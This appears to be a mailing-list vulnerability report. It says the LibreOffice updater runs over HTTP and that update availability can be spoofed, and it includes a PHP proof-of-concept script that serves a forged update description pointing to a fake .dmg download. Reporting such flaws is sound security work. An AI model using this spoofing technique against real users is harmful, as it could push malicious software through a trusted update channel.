Libreoffice updater runs over http

[Sevan Janiyan <venture37 () geeklan co uk>]

Hi,
Looking into the validity of an issue which was reported[1] a couple of
years back, it seems that it's still possible to spoof the availability
of an update for LibreOffice.

Unfortunately, I've not been able to get the download to happen as I
need to look into what happens when the application requests PROPFIND
/check.php?pkgfmt=dmg HTTP/1.1
At this point the download is marked as stalled whilst attempting to
download LibreOffice 9.9.9 I'd announced.

Though the original report used Windows, I repeated on OS X trying to
see if libreoffice could just download a mp4 video, later changed to a dmg.
Using the following check.php
<?php
echo '<?xml version="1.0" encoding="utf-8"?>
<inst:description xmlns:inst="http://update.libreoffice.org/description";>
<inst:id>LibreOffice 9.9.9</inst:id>
<inst:gitid>123456789</inst:gitid>
<inst:os>MacOSX</inst:os>
<inst:arch>x86</inst:arch>
<inst:version>9.9.9</inst:version>
<inst:buildid>9999</inst:buildid>
<inst:update type="application/octet-stream"
src="http://update.libreoffice.org/update.dmg"/>
</inst:description>';
?>

Is this of concern at this stage?


Sevan
[1] http://www.waraxe.us/advisory-99.html